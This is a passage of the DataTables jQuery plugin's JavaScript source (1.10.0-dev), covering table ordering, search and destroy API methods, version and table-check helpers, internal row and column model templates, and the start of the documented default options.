:\n\t\t\t\tundefined;\n\t\t}\n\t\n\t\t// Set\n\t\t_fnSetCellData( ctx[0], cell[0].row, cell[0].column, data );\n\t\t_fnInvalidateRow( ctx[0], cell[0].row, 'data', cell[0].column );\n\t\n\t\treturn this;\n\t} );\n\t\n\t\n\t\n\t/**\n\t * Get current ordering (sorting) that has been applied to the table.\n\t *\n\t * @returns {array} 2D array containing the sorting information for the first\n\t *   table in the current context. Each element in the parent array represents\n\t *   a column being sorted upon (i.e. multi-sorting with two columns would have\n\t *   2 inner arrays). The inner arrays may have 2 or 3 elements. The first is\n\t *   the column index that the sorting condition applies to, the second is the\n\t *   direction of the sort (`desc` or `asc`) and, optionally, the third is the\n\t *   index of the sorting order from the `column.sorting` initialisation array.\n\t *//**\n\t * Set the ordering for the table.\n\t *\n\t * @param {integer} order Column index to sort upon.\n\t * @param {string} direction Direction of the sort to be applied (`asc` or `desc`)\n\t * @returns {DataTables.Api} this\n\t *//**\n\t * Set the ordering for the table.\n\t *\n\t * @param {array} order 1D array of sorting information to be applied.\n\t * @param {array} [...] Optional additional sorting conditions\n\t * @returns {DataTables.Api} this\n\t *//**\n\t * Set the ordering for the table.\n\t *\n\t * @param {array} order 2D array of sorting information to be applied.\n\t * @returns {DataTables.Api} this\n\t */\n\t_api_register( 'order()', function ( order, dir ) {\n\t\tvar ctx = this.context;\n\t\n\t\tif ( order === undefined ) {\n\t\t\t// get\n\t\t\treturn ctx.length !== 0 ?\n\t\t\t\tctx[0].aaSorting :\n\t\t\t\tundefined;\n\t\t}\n\t\n\t\t// set\n\t\tif ( typeof order === 'number' ) {\n\t\t\t// Simple column / direction passed in\n\t\t\torder = [ [ order, dir ] ];\n\t\t}\n\t\telse if ( ! $.isArray( order[0] ) ) {\n\t\t\t// Arguments passed in (list of 1D arrays)\n\t\t\torder = Array.prototype.slice.call( arguments );\n\t\t}\n\t\t// otherwise a 2D array was passed in\n\t\n\t\treturn this.iterator( 'table', function ( settings ) {\n\t\t\tsettings.aaSorting = order.slice();\n\t\t} );\n\t} );\n\t\n\t\n\t/**\n\t * Attach a sort listener to an element for a given column\n\t *\n\t * @param {node|jQuery|string} node Identifier for the element(s) to attach the\n\t *   listener to. This can take the form of a single DOM node, a jQuery\n\t *   collection of nodes or a jQuery selector which will identify the node(s).\n\t * @param {integer} column the column that a click on this node will sort on\n\t * @param {function} [callback] callback function when sort is run\n\t * @returns {DataTables.Api} this\n\t */\n\t_api_register( 'order.listener()', function ( node, column, callback ) {\n\t\treturn this.iterator( 'table', function ( settings ) {\n\t\t\t_fnSortAttachListener( settings, node, column, callback );\n\t\t} );\n\t} );\n\t\n\t\n\t// Order by the selected column(s)\n\t_api_register( [\n\t\t'columns().order()',\n\t\t'column().order()'\n\t], function ( dir ) {\n\t\tvar that = this;\n\t\n\t\treturn this.iterator( 'table', function ( settings, i ) {\n\t\t\tvar sort = [];\n\t\n\t\t\t$.each( that[i], function (j, col) {\n\t\t\t\tsort.push( [ col, dir ] );\n\t\t\t} );\n\t\n\t\t\tsettings.aaSorting = sort;\n\t\t} );\n\t} );\n\t\n\t\n\t\n\t_api_register( 'search()', function ( input, regex, smart, caseInsen ) {\n\t\tvar ctx = this.context;\n\t\n\t\tif ( input === undefined ) {\n\t\t\t// get\n\t\t\treturn ctx.length !== 0 ?\n\t\t\t\tctx[0].oPreviousSearch.sSearch :\n\t\t\t\tundefined;\n\t\t}\n\t\n\t\t// set\n\t\treturn this.iterator( 'table', function ( settings ) {\n\t\t\tif ( ! settings.oFeatures.bFilter ) {\n\t\t\t\treturn;\n\t\t\t}\n\t\n\t\t\t_fnFilterComplete( settings, $.extend( {}, settings.oPreviousSearch, {\n\t\t\t\t\"sSearch\": input+\"\",\n\t\t\t\t\"bRegex\":  regex === null ? false : regex,\n\t\t\t\t\"bSmart\":  smart === null ? true  : smart,\n\t\t\t\t\"bCaseInsensitive\": caseInsen === null ? true : caseInsen\n\t\t\t} ), 1 );\n\t\t} );\n\t} );\n\t\n\t\n\t_api_register( [\n\t\t'columns().search()',\n\t\t'column().search()'\n\t], function ( input, regex, smart, caseInsen ) {\n\t\treturn this.iterator( 'column', function ( settings, column ) {\n\t\t\tvar preSearch = settings.aoPreSearchCols;\n\t\n\t\t\tif ( input === undefined ) {\n\t\t\t\t// get\n\t\t\t\treturn preSearch[ column ].sSearch;\n\t\t\t}\n\t\n\t\t\t// set\n\t\t\tif ( ! settings.oFeatures.bFilter ) {\n\t\t\t\treturn;\n\t\t\t}\n\t\n\t\t\t$.extend( preSearch[ column ], {\n\t\t\t\t\"sSearch\": input+\"\",\n\t\t\t\t\"bRegex\":  regex === null ? false : regex,\n\t\t\t\t\"bSmart\":  smart === null ? true  : smart,\n\t\t\t\t\"bCaseInsensitive\": caseInsen === null ? true : caseInsen\n\t\t\t} );\n\t\n\t\t\t_fnFilterComplete( settings, settings.oPreviousSearch, 1 );\n\t\t} );\n\t} );\n\t\n\t\n\t\n\t/**\n\t * Provide a common method for plug-ins to check the version of DataTables being\n\t * used, in order to ensure compatibility.\n\t *\n\t *  @param {string} version Version string to check for, in the format \"X.Y.Z\".\n\t *    Note that the formats \"X\" and \"X.Y\" are also acceptable.\n\t *  @returns {boolean} true if this version of DataTables is greater or equal to\n\t *    the required version, or false if this version of DataTales is not\n\t *    suitable\n\t *  @static\n\t *  @dtopt API-Static\n\t *\n\t *  @example\n\t *    alert( $.fn.dataTable.versionCheck( '1.9.0' ) );\n\t */\n\tDataTable.versionCheck = DataTable.fnVersionCheck = function( version )\n\t{\n\t\tvar aThis = DataTable.version.split('.');\n\t\tvar aThat = version.split('.');\n\t\tvar iThis, iThat;\n\t\n\t\tfor ( var i=0, iLen=aThat.length ; i<iLen ; i++ ) {\n\t\t\tiThis = parseInt( aThis[i], 10 ) || 0;\n\t\t\tiThat = parseInt( aThat[i], 10 ) || 0;\n\t\n\t\t\t// Parts are the same, keep comparing\n\t\t\tif (iThis === iThat) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\n\t\t\t// Parts are different, return immediately\n\t\t\treturn iThis > iThat;\n\t\t}\n\t\n\t\treturn true;\n\t};\n\t\n\t\n\t/**\n\t * Check if a `<table>` node is a DataTable table already or not.\n\t *\n\t *  @param {node|jquery|string} table Table node, jQuery object or jQuery\n\t *      selector for the table to test. Note that if more than more than one\n\t *      table is passed on, only the first will be checked\n\t *  @returns {boolean} true the table given is a DataTable, or false otherwise\n\t *  @static\n\t *  @dtopt API-Static\n\t *\n\t *  @example\n\t *    if ( ! $.fn.DataTable.isDataTable( '#example' ) ) {\n\t *      $('#example').dataTable();\n\t *    }\n\t */\n\tDataTable.isDataTable = DataTable.fnIsDataTable = function ( table )\n\t{\n\t\tvar t = $(table).get(0);\n\t\tvar is = false;\n\t\n\t\t$.each( DataTable.settings, function (i, o) {\n\t\t\tif ( o.nTable === t || o.nScrollHead === t || o.nScrollFoot === t ) {\n\t\t\t\tis = true;\n\t\t\t}\n\t\t} );\n\t\n\t\treturn is;\n\t};\n\t\n\t\n\t/**\n\t * Get all DataTable tables that have been initialised - optionally you can\n\t * select to get only currently visible tables.\n\t *\n\t *  @param {boolean} [visible=false] Flag to indicate if you want all (default)\n\t *    or visible tables only.\n\t *  @returns {array} Array of `table` nodes (not DataTable instances) which are\n\t *    DataTables\n\t *  @static\n\t *  @dtopt API-Static\n\t *\n\t *  @example\n\t *    $.each( $.fn.dataTable.tables(true), function () {\n\t *      $(table).DataTable().columns.adjust();\n\t *    } );\n\t */\n\tDataTable.tables = DataTable.fnTables = function ( visible )\n\t{\n\t\treturn jQuery.map( DataTable.settings, function (o) {\n\t\t\tif ( !visible || (visible && $(o.nTable).is(':visible')) ) {\n\t\t\t\treturn o.nTable;\n\t\t\t}\n\t\t} );\n\t};\n\t\n\t\n\t\n\t/**\n\t *\n\t */\n\t_api_register( '$()', function ( selector, opts ) {\n\t\tvar\n\t\t\trows   = this.rows( opts ).nodes(), // Get all rows\n\t\t\tjqRows = $(rows);\n\t\n\t\treturn $( [].concat(\n\t\t\tjqRows.filter( selector ).toArray(),\n\t\t\tjqRows.find( selector ).toArray()\n\t\t) );\n\t} );\n\t\n\t\n\t// jQuery functions to operate on the tables\n\t$.each( [ 'on', 'one', 'off' ], function (i, key) {\n\t\t_api_register( key+'()', function ( /* event, handler */ ) {\n\t\t\tvar args = Array.prototype.slice.call(arguments);\n\t\n\t\t\t// Add the `dt` namespace automatically if it isn't already present\n\t\t\tif ( args[0].indexOf( '.dt' ) === -1 ) {\n\t\t\t\targs[0] += '.dt';\n\t\t\t}\n\t\n\t\t\tvar inst = $( this.tables().nodes() );\n\t\t\tinst[key].apply( inst, args );\n\t\t\treturn this;\n\t\t} );\n\t} );\n\t\n\t\n\t_api_register( 'clear()', function () {\n\t\treturn this.iterator( 'table', function ( settings ) {\n\t\t\t_fnClearTable( settings );\n\t\t} );\n\t} );\n\t\n\t\n\t_api_register( 'settings()', function () {\n\t\treturn new _Api( this.context, this.context );\n\t} );\n\t\n\t\n\t_api_register( 'data()', function () {\n\t\treturn this.iterator( 'table', function ( settings ) {\n\t\t\treturn _pluck( settings.aoData, '_aData' );\n\t\t} ).flatten();\n\t} );\n\t\n\t\n\t_api_register( 'destroy()', function ( remove ) {\n\t\tremove = remove || false;\n\t\n\t\treturn this.iterator( 'table', function ( settings ) {\n\t\t\tvar orig      = settings.nTableWrapper.parentNode;\n\t\t\tvar classes   = settings.oClasses;\n\t\t\tvar table     = settings.nTable;\n\t\t\tvar tbody     = settings.nTBody;\n\t\t\tvar thead     = settings.nTHead;\n\t\t\tvar tfoot     = settings.nTFoot;\n\t\t\tvar jqTable   = $(table);\n\t\t\tvar jqTbody   = $(tbody);\n\t\t\tvar jqWrapper = $(settings.nTableWrapper);\n\t\t\tvar rows      = $.map( settings.aoData, function (r) { return r.nTr; } );\n\t\t\tvar i, ien;\n\t\n\t\t\t// Flag to note that the table is currently being destroyed - no action\n\t\t\t// should be taken\n\t\t\tsettings.bDestroying = true;\n\t\n\t\t\t// Fire off the destroy callbacks for plug-ins etc\n\t\t\t_fnCallbackFire( settings, \"aoDestroyCallback\", \"destroy\", [settings] );\n\t\n\t\t\t// If not being removed from the document, make all columns visible\n\t\t\tif ( ! remove ) {\n\t\t\t\tnew _Api( settings ).columns().visible( true );\n\t\t\t}\n\t\n\t\t\t// Blitz all DT events\n\t\t\tjqWrapper.unbind('.DT').find(':not(tbody *)').unbind('.DT');\n\t\t\t$(window).unbind('.DT-'+settings.sInstance);\n\t\n\t\t\t// When scrolling we had to break the table up - restore it\n\t\t\tif ( table != thead.parentNode ) {\n\t\t\t\tjqTable.children('thead').remove();\n\t\t\t\tjqTable.append( thead );\n\t\t\t}\n\t\n\t\t\tif ( tfoot && table != tfoot.parentNode ) {\n\t\t\t\tjqTable.children('tfoot').remove();\n\t\t\t\tjqTable.append( tfoot );\n\t\t\t}\n\t\n\t\t\t// Remove the DataTables generated nodes, events and classes\n\t\t\tjqTable.remove();\n\t\t\tjqWrapper.remove();\n\t\n\t\t\tsettings.aaSorting = [];\n\t\t\tsettings.aaSortingFixed = [];\n\t\t\t_fnSortingClasses( settings );\n\t\n\t\t\t$( rows ).removeClass( settings.asStripeClasses.join(' ') );\n\t\n\t\t\t$('th, td', thead).removeClass( classes.sSortable+' '+\n\t\t\t\tclasses.sSortableAsc+' '+classes.sSortableDesc+' '+classes.sSortableNone\n\t\t\t);\n\t\n\t\t\tif ( settings.bJUI ) {\n\t\t\t\t$('th span.'+classes.sSortIcon+ ', td span.'+classes.sSortIcon, thead).remove();\n\t\t\t\t$('th, td', thead).each( function () {\n\t\t\t\t\tvar wrapper = $('div.'+classes.sSortJUIWrapper, this);\n\t\t\t\t\t$(this).append( wrapper.contents() );\n\t\t\t\t\twrapper.remove();\n\t\t\t\t} );\n\t\t\t}\n\t\n\t\t\tif ( ! remove ) {\n\t\t\t\t// insertBefore acts like appendChild if !arg[1]\n\t\t\t\torig.insertBefore( table, settings.nTableReinsertBefore );\n\t\t\t}\n\t\n\t\t\t// Add the TR elements back into the table in their original order\n\t\t\tjqTbody.children().detach();\n\t\t\tjqTbody.append( rows );\n\t\n\t\t\t// Restore the width of the original table - was read from the style property,\n\t\t\t// so we can restore directly to that\n\t\t\tjqTable\n\t\t\t\t.css( 'width', settings.sDestroyWidth )\n\t\t\t\t.removeClass( classes.sTable );\n\t\n\t\t\t// If the were originally stripe classes - then we add them back here.\n\t\t\t// Note this is not fool proof (for example if not all rows had stripe\n\t\t\t// classes - but it's a good effort without getting carried away\n\t\t\tien = settings.asDestroyStripes.length;\n\t\n\t\t\tif ( ien ) {\n\t\t\t\tjqTbody.children().each( function (i) {\n\t\t\t\t\t$(this).addClass( settings.asDestroyStripes[i % ien] );\n\t\t\t\t} );\n\t\t\t}\n\t\n\t\t\t/* Remove the settings object from the settings array */\n\t\t\tvar idx = $.inArray( settings, DataTable.settings );\n\t\t\tif ( idx !== -1 ) {\n\t\t\t\tDataTable.settings.splice( idx, 1 );\n\t\t\t}\n\t\t} );\n\t} );\n\t\n\n\t/**\n\t * Version string for plug-ins to check compatibility. Allowed format is\n\t * `a.b.c-d` where: a:int, b:int, c:int, d:string(dev|beta|alpha). `d` is used\n\t * only for non-release builds. See http://semver.org/ for more information.\n\t *  @member\n\t *  @type string\n\t *  @default Version number\n\t */\n\tDataTable.version = \"1.10.0-dev\";\n\n\t/**\n\t * Private data store, containing all of the settings objects that are\n\t * created for the tables on a given page.\n\t *\n\t * Note that the `DataTable.settings` object is aliased to\n\t * `jQuery.fn.dataTableExt` through which it may be accessed and\n\t * manipulated, or `jQuery.fn.dataTable.settings`.\n\t *  @member\n\t *  @type array\n\t *  @default []\n\t *  @private\n\t */\n\tDataTable.settings = [];\n\n\t/**\n\t * Object models container, for the various models that DataTables has\n\t * available to it. These models define the objects that are used to hold\n\t * the active state and configuration of the table.\n\t *  @namespace\n\t */\n\tDataTable.models = {};\n\t\n\t\n\t\n\t/**\n\t * Template object for the way in which DataTables holds information about\n\t * search information for the global filter and individual column filters.\n\t *  @namespace\n\t */\n\tDataTable.models.oSearch = {\n\t\t/**\n\t\t * Flag to indicate if the filtering should be case insensitive or not\n\t\t *  @type boolean\n\t\t *  @default true\n\t\t */\n\t\t\"bCaseInsensitive\": true,\n\t\n\t\t/**\n\t\t * Applied search term\n\t\t *  @type string\n\t\t *  @default <i>Empty string</i>\n\t\t */\n\t\t\"sSearch\": \"\",\n\t\n\t\t/**\n\t\t * Flag to indicate if the search term should be interpreted as a\n\t\t * regular expression (true) or not (false) and therefore and special\n\t\t * regex characters escaped.\n\t\t *  @type boolean\n\t\t *  @default false\n\t\t */\n\t\t\"bRegex\": false,\n\t\n\t\t/**\n\t\t * Flag to indicate if DataTables is to use its smart filtering or not.\n\t\t *  @type boolean\n\t\t *  @default true\n\t\t */\n\t\t\"bSmart\": true\n\t};\n\t\n\t\n\t\n\t\n\t/**\n\t * Template object for the way in which DataTables holds information about\n\t * each individual row. This is the object format used for the settings\n\t * aoData array.\n\t *  @namespace\n\t */\n\tDataTable.models.oRow = {\n\t\t/**\n\t\t * TR element for the row\n\t\t *  @type node\n\t\t *  @default null\n\t\t */\n\t\t\"nTr\": null,\n\t\n\t\t/**\n\t\t * Array of TD elements for each row. This is null until the row has been\n\t\t * created.\n\t\t *  @type array nodes\n\t\t *  @default []\n\t\t */\n\t\t\"anCells\": null,\n\t\n\t\t/**\n\t\t * Data object from the original data source for the row. This is either\n\t\t * an array if using the traditional form of DataTables, or an object if\n\t\t * using mData options. The exact type will depend on the passed in\n\t\t * data from the data source, or will be an array if using DOM a data\n\t\t * source.\n\t\t *  @type array|object\n\t\t *  @default []\n\t\t */\n\t\t\"_aData\": [],\n\t\n\t\t/**\n\t\t * Sorting data cache - this array is ostensibly the same length as the\n\t\t * number of columns (although each index is generated only as it is\n\t\t * needed), and holds the data that is used for sorting each column in the\n\t\t * row. We do this cache generation at the start of the sort in order that\n\t\t * the formatting of the sort data need be done only once for each cell\n\t\t * per sort. This array should not be read from or written to by anything\n\t\t * other than the master sorting methods.\n\t\t *  @type array\n\t\t *  @default null\n\t\t *  @private\n\t\t */\n\t\t\"_aSortData\": null,\n\t\n\t\t/**\n\t\t * Per cell filtering data cache. As per the sort data cache, used to\n\t\t * increase the performance of the filtering in DataTables\n\t\t *  @type array\n\t\t *  @default null\n\t\t *  @private\n\t\t */\n\t\t\"_aFilterData\": null,\n\t\n\t\t/**\n\t\t * Filtering data cache. This is the same as the cell filtering cache, but\n\t\t * in this case a string rather than an array. This is easily computed with\n\t\t * a join on `_aFilterData`, but is provided as a cache so the join isn't\n\t\t * needed on every search (memory traded for performance)\n\t\t *  @type array\n\t\t *  @default null\n\t\t *  @private\n\t\t */\n\t\t\"_sFilterRow\": null,\n\t\n\t\t/**\n\t\t * Cache of the class name that DataTables has applied to the row, so we\n\t\t * can quickly look at this variable rather than needing to do a DOM check\n\t\t * on className for the nTr property.\n\t\t *  @type string\n\t\t *  @default <i>Empty string</i>\n\t\t *  @private\n\t\t */\n\t\t\"_sRowStripe\": \"\",\n\t\n\t\t/**\n\t\t * Denote if the original data source was from the DOM, or the data source\n\t\t * object. This is used for invalidating data, so DataTables can\n\t\t * automatically read data from the original source, unless uninstructed\n\t\t * otherwise.\n\t\t *  @type string\n\t\t *  @default null\n\t\t *  @private\n\t\t */\n\t\t\"src\": null\n\t};\n\t\n\t\n\t\n\t/**\n\t * Template object for the column information object in DataTables. This object\n\t * is held in the settings aoColumns array and contains all the information that\n\t * DataTables needs about each individual column.\n\t *\n\t * Note that this object is related to {@link DataTable.defaults.column}\n\t * but this one is the internal data store for DataTables's cache of columns.\n\t * It should NOT be manipulated outside of DataTables. Any configuration should\n\t * be done through the initialisation options.\n\t *  @namespace\n\t */\n\tDataTable.models.oColumn = {\n\t\t/**\n\t\t * A list of the columns that sorting should occur on when this column\n\t\t * is sorted. That this property is an array allows multi-column sorting\n\t\t * to be defined for a column (for example first name / last name columns\n\t\t * would benefit from this). The values are integers pointing to the\n\t\t * columns to be sorted on (typically it will be a single integer pointing\n\t\t * at itself, but that doesn't need to be the case).\n\t\t *  @type array\n\t\t */\n\t\t\"aDataSort\": null,\n\t\n\t\t/**\n\t\t * Define the sorting directions that are applied to the column, in sequence\n\t\t * as the column is repeatedly sorted upon - i.e. the first value is used\n\t\t * as the sorting direction when the column if first sorted (clicked on).\n\t\t * Sort it again (click again) and it will move on to the next index.\n\t\t * Repeat until loop.\n\t\t *  @type array\n\t\t */\n\t\t\"asSorting\": null,\n\t\n\t\t/**\n\t\t * Flag to indicate if the column is searchable, and thus should be included\n\t\t * in the filtering or not.\n\t\t *  @type boolean\n\t\t */\n\t\t\"bSearchable\": null,\n\t\n\t\t/**\n\t\t * Flag to indicate if the column is sortable or not.\n\t\t *  @type boolean\n\t\t */\n\t\t\"bSortable\": null,\n\t\n\t\t/**\n\t\t * Flag to indicate if the column is currently visible in the table or not\n\t\t *  @type boolean\n\t\t */\n\t\t\"bVisible\": null,\n\t\n\t\t/**\n\t\t * Store for manual type assignment using the `column.type` option. This\n\t\t * is held in store so we can manipulate the column's `sType` property.\n\t\t *  @type string\n\t\t *  @default null\n\t\t *  @private\n\t\t */\n\t\t\"_sManualType\": null,\n\t\n\t\t/**\n\t\t * Flag to indicate if HTML5 data attributes should be used as the data\n\t\t * source for filtering or sorting. True is either are.\n\t\t *  @type boolean\n\t\t *  @default false\n\t\t *  @private\n\t\t */\n\t\t\"_bAttrSrc\": false,\n\t\n\t\t/**\n\t\t * Developer definable function that is called whenever a cell is created (Ajax source,\n\t\t * etc) or processed for input (DOM source). This can be used as a compliment to mRender\n\t\t * allowing you to modify the DOM element (add background colour for example) when the\n\t\t * element is available.\n\t\t *  @type function\n\t\t *  @param {element} nTd The TD node that has been created\n\t\t *  @param {*} sData The Data for the cell\n\t\t *  @param {array|object} oData The data for the whole row\n\t\t *  @param {int} iRow The row index for the aoData data store\n\t\t *  @default null\n\t\t */\n\t\t\"fnCreatedCell\": null,\n\t\n\t\t/**\n\t\t * Function to get data from a cell in a column. You should <b>never</b>\n\t\t * access data directly through _aData internally in DataTables - always use\n\t\t * the method attached to this property. It allows mData to function as\n\t\t * required. This function is automatically assigned by the column\n\t\t * initialisation method\n\t\t *  @type function\n\t\t *  @param {array|object} oData The data array/object for the array\n\t\t *    (i.e. aoData[]._aData)\n\t\t *  @param {string} sSpecific The specific data type you want to get -\n\t\t *    'display', 'type' 'filter' 'sort'\n\t\t *  @returns {*} The data for the cell from the given row's data\n\t\t *  @default null\n\t\t */\n\t\t\"fnGetData\": null,\n\t\n\t\t/**\n\t\t * Function to set data for a cell in the column. You should <b>never</b>\n\t\t * set the data directly to _aData internally in DataTables - always use\n\t\t * this method. It allows mData to function as required. This function\n\t\t * is automatically assigned by the column initialisation method\n\t\t *  @type function\n\t\t *  @param {array|object} oData The data array/object for the array\n\t\t *    (i.e. aoData[]._aData)\n\t\t *  @param {*} sValue Value to set\n\t\t *  @default null\n\t\t */\n\t\t\"fnSetData\": null,\n\t\n\t\t/**\n\t\t * Property to read the value for the cells in the column from the data\n\t\t * source array / object. If null, then the default content is used, if a\n\t\t * function is given then the return from the function is used.\n\t\t *  @type function|int|string|null\n\t\t *  @default null\n\t\t */\n\t\t\"mData\": null,\n\t\n\t\t/**\n\t\t * Partner property to mData which is used (only when defined) to get\n\t\t * the data - i.e. it is basically the same as mData, but without the\n\t\t * 'set' option, and also the data fed to it is the result from mData.\n\t\t * This is the rendering method to match the data method of mData.\n\t\t *  @type function|int|string|null\n\t\t *  @default null\n\t\t */\n\t\t\"mRender\": null,\n\t\n\t\t/**\n\t\t * Unique header TH/TD element for this column - this is what the sorting\n\t\t * listener is attached to (if sorting is enabled.)\n\t\t *  @type node\n\t\t *  @default null\n\t\t */\n\t\t\"nTh\": null,\n\t\n\t\t/**\n\t\t * Unique footer TH/TD element for this column (if there is one). Not used\n\t\t * in DataTables as such, but can be used for plug-ins to reference the\n\t\t * footer for each column.\n\t\t *  @type node\n\t\t *  @default null\n\t\t */\n\t\t\"nTf\": null,\n\t\n\t\t/**\n\t\t * The class to apply to all TD elements in the table's TBODY for the column\n\t\t *  @type string\n\t\t *  @default null\n\t\t */\n\t\t\"sClass\": null,\n\t\n\t\t/**\n\t\t * When DataTables calculates the column widths to assign to each column,\n\t\t * it finds the longest string in each column and then constructs a\n\t\t * temporary table and reads the widths from that. The problem with this\n\t\t * is that \"mmm\" is much wider then \"iiii\", but the latter is a longer\n\t\t * string - thus the calculation can go wrong (doing it properly and putting\n\t\t * it into an DOM object and measuring that is horribly(!) slow). Thus as\n\t\t * a \"work around\" we provide this option. It will append its value to the\n\t\t * text that is found to be the longest string for the column - i.e. padding.\n\t\t *  @type string\n\t\t */\n\t\t\"sContentPadding\": null,\n\t\n\t\t/**\n\t\t * Allows a default value to be given for a column's data, and will be used\n\t\t * whenever a null data source is encountered (this can be because mData\n\t\t * is set to null, or because the data source itself is null).\n\t\t *  @type string\n\t\t *  @default null\n\t\t */\n\t\t\"sDefaultContent\": null,\n\t\n\t\t/**\n\t\t * Name for the column, allowing reference to the column by name as well as\n\t\t * by index (needs a lookup to work by name).\n\t\t *  @type string\n\t\t */\n\t\t\"sName\": null,\n\t\n\t\t/**\n\t\t * Custom sorting data type - defines which of the available plug-ins in\n\t\t * afnSortData the custom sorting will use - if any is defined.\n\t\t *  @type string\n\t\t *  @default std\n\t\t */\n\t\t\"sSortDataType\": 'std',\n\t\n\t\t/**\n\t\t * Class to be applied to the header element when sorting on this column\n\t\t *  @type string\n\t\t *  @default null\n\t\t */\n\t\t\"sSortingClass\": null,\n\t\n\t\t/**\n\t\t * Class to be applied to the header element when sorting on this column -\n\t\t * when jQuery UI theming is used.\n\t\t *  @type string\n\t\t *  @default null\n\t\t */\n\t\t\"sSortingClassJUI\": null,\n\t\n\t\t/**\n\t\t * Title of the column - what is seen in the TH element (nTh).\n\t\t *  @type string\n\t\t */\n\t\t\"sTitle\": null,\n\t\n\t\t/**\n\t\t * Column sorting and filtering type\n\t\t *  @type string\n\t\t *  @default null\n\t\t */\n\t\t\"sType\": null,\n\t\n\t\t/**\n\t\t * Width of the column\n\t\t *  @type string\n\t\t *  @default null\n\t\t */\n\t\t\"sWidth\": null,\n\t\n\t\t/**\n\t\t * Width of the column when it was first \"encountered\"\n\t\t *  @type string\n\t\t *  @default null\n\t\t */\n\t\t\"sWidthOrig\": null\n\t};\n\t\n\t\n\t/*\n\t * Developer note: The properties of the object below are given in Hungarian\n\t * notation, that was used as the interface for DataTables prior to v1.10, however\n\t * from v1.10 onwards the primary interface is camel case. In order to avoid\n\t * breaking backwards compatibility utterly with this change, the Hungarian\n\t * version is still, internally the primary interface, but is is not documented\n\t * - hence the @name tags in each doc comment. This allows a Javascript function\n\t * to create a map from Hungarian notation to camel case (going the other direction\n\t * would require each property to be listed, which would at around 3K to the size\n\t * of DataTables, while this method is about a 0.5K hit.\n\t *\n\t * Ultimately this does pave the way for Hungarian notation to be dropped\n\t * completely, but that is a massive amount of work and will break current\n\t * installs (therefore is on-hold until v2).\n\t */\n\t\n\t/**\n\t * Initialisation options that can be given to DataTables at initialisation\n\t * time.\n\t *  @namespace\n\t */\n\tDataTable.defaults = {\n\t\t/**\n\t\t * An array of data to use for the table, passed in at initialisation which\n\t\t * will be used in preference to any data which is already in the DOM. This is\n\t\t * particularly useful for constructing tables purely in Javascript, for\n\t\t * example with a custom Ajax call.\n\t\t *  @type array\n\t\t *  @default null\n\t\t *\n\t\t *  @dtopt Option\n\t\t *  @name DataTable.defaults.data\n\t\t *\n\t\t *  @example\n\t\t *    // Using a 2D array data source\n\t\t *    $(document).ready( function () {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"data\": [\n\t\t *          ['Trident', 'Internet Explorer 4.0', 'Win 95+', 4, 'X'],\n\t\t *          ['Trident', 'Internet Explorer 5.0', 'Win 95+', 5, 'C'],\n\t\t *        ],\n\t\t *        \"columns\": [\n\t\t *          { \"title\": \"Engine\" },\n\t\t *          { \"title\": \"Browser\" },\n\t\t *          { \"title\": \"Platform\" },\n\t\t *          { \"title\": \"Version\" },\n\t\t *          { \"title\": \"Grade\" }\n\t\t *        ]\n\t\t *      } );\n\t\t *    } );\n\t\t *\n\t\t *  @example\n\t\t *    // Using an array of objects as a data source (`data`)\n\t\t *    $(document).ready( function () {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"data\": [\n\t\t *          {\n\t\t *            \"engine\":   \"Trident\",\n\t\t *            \"browser\":  \"Internet Explorer 4.0\",\n\t\t *            \"platform\": \"Win 95+\",\n\t\t *            \"version\":  4,\n\t\t *            \"grade\":    \"X\"\n\t\t *          },\n\t\t *          {\n\t\t *            \"engine\":   \"Trident\",\n\t\t *            \"browser\":  \"Internet Explorer 5.0\",\n\t\t *            \"platform\": \"Win 95+\",\n\t\t *            \"version\":  5,\n\t\t *            \"grade\":    \"C\"\n\t\t *          }\n\t\t *        ],\n\t\t *        \"columns\": [\n\t\t *          { \"title\": \"Engine\",   \"data\": \"engine\" },\n\t\t *          { \"title\": \"Browser\",  \"data\": \"browser\" },\n\t\t *          { \"title\": \"Platform\", \"data\": \"platform\" },\n\t\t *          { \"title\": \"Version\",  \"data\": \"version\" },\n\t\t *          { \"title\": \"Grade\",    \"data\": \"grade\" }\n\t\t *        ]\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"aaData\": null,\n\t\n\t\n\t\t/**\n\t\t * If ordering is enabled, then DataTables will perform a first pass sort on\n\t\t * initialisation. You can define which column(s) the sort is performed\n\t\t * upon, and the sorting direction, with this variable. The `sorting` array\n\t\t * should contain an array for each column to be sorted initially containing\n\t\t * the column's index and a direction string ('asc' or 'desc').\n\t\t *  @type array\n\t\t *  @default [[0,'asc']]\n\t\t *\n\t\t *  @dtopt Option\n\t\t *  @name DataTable.defaults.order\n\t\t *\n\t\t *  @example\n\t\t *    // Sort by 3rd column first, and then 4th column\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"order\": [[2,'asc'], [3,'desc']]\n\t\t *      } );\n\t\t *    } );\n\t\t *\n\t\t *    // No initial sorting\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"order\": []\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"aaSorting\": [[0,'asc']],\n\t\n\t\n\t\t/**\n\t\t * This parameter is basically identical to the `sorting` parameter, but\n\t\t * cannot be overridden by user interaction with the table. What this means\n\t\t * is that you could have a column (visible or hidden) which the sorting\n\t\t * will always be forced on first - any sorting after that (from the user)\n\t\t * will then be performed as required. This can be useful for grouping rows\n\t\t * together.\n\t\t *  @type array\n\t\t *  @default null\n\t\t *\n\t\t *  @dtopt Option\n\t\t *  @name DataTable.defaults.orderFixed\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"orderFixed\": [[0,'asc']]\n\t\t *      } );\n\t\t *    } )\n\t\t */\n\t\t\"aaSortingFixed\": [],\n\t\n\t\n\t\t/**\n\t\t * DataTables can be instructed to load data to display in the table from a\n\t\t * Ajax source. This option defines how that Ajax call is made and where to.\n\t\t *\n\t\t * The `ajax` property has three different modes of operation, depending on\n\t\t * how it is defined. These are:\n\t\t *\n\t\t * * `string` - Set the URL from where the data should be loaded from.\n\t\t * * `object` - Define properties for `jQuery.ajax`.\n\t\t * * `function` - Custom data get function\n\t\t *\n\t\t * `string`\n\t\t * --------\n\t\t *\n\t\t * As a string, the `ajax` property simply defines the URL from which\n\t\t * DataTables will load data.\n\t\t *\n\t\t * `object`\n\t\t * --------\n\t\t 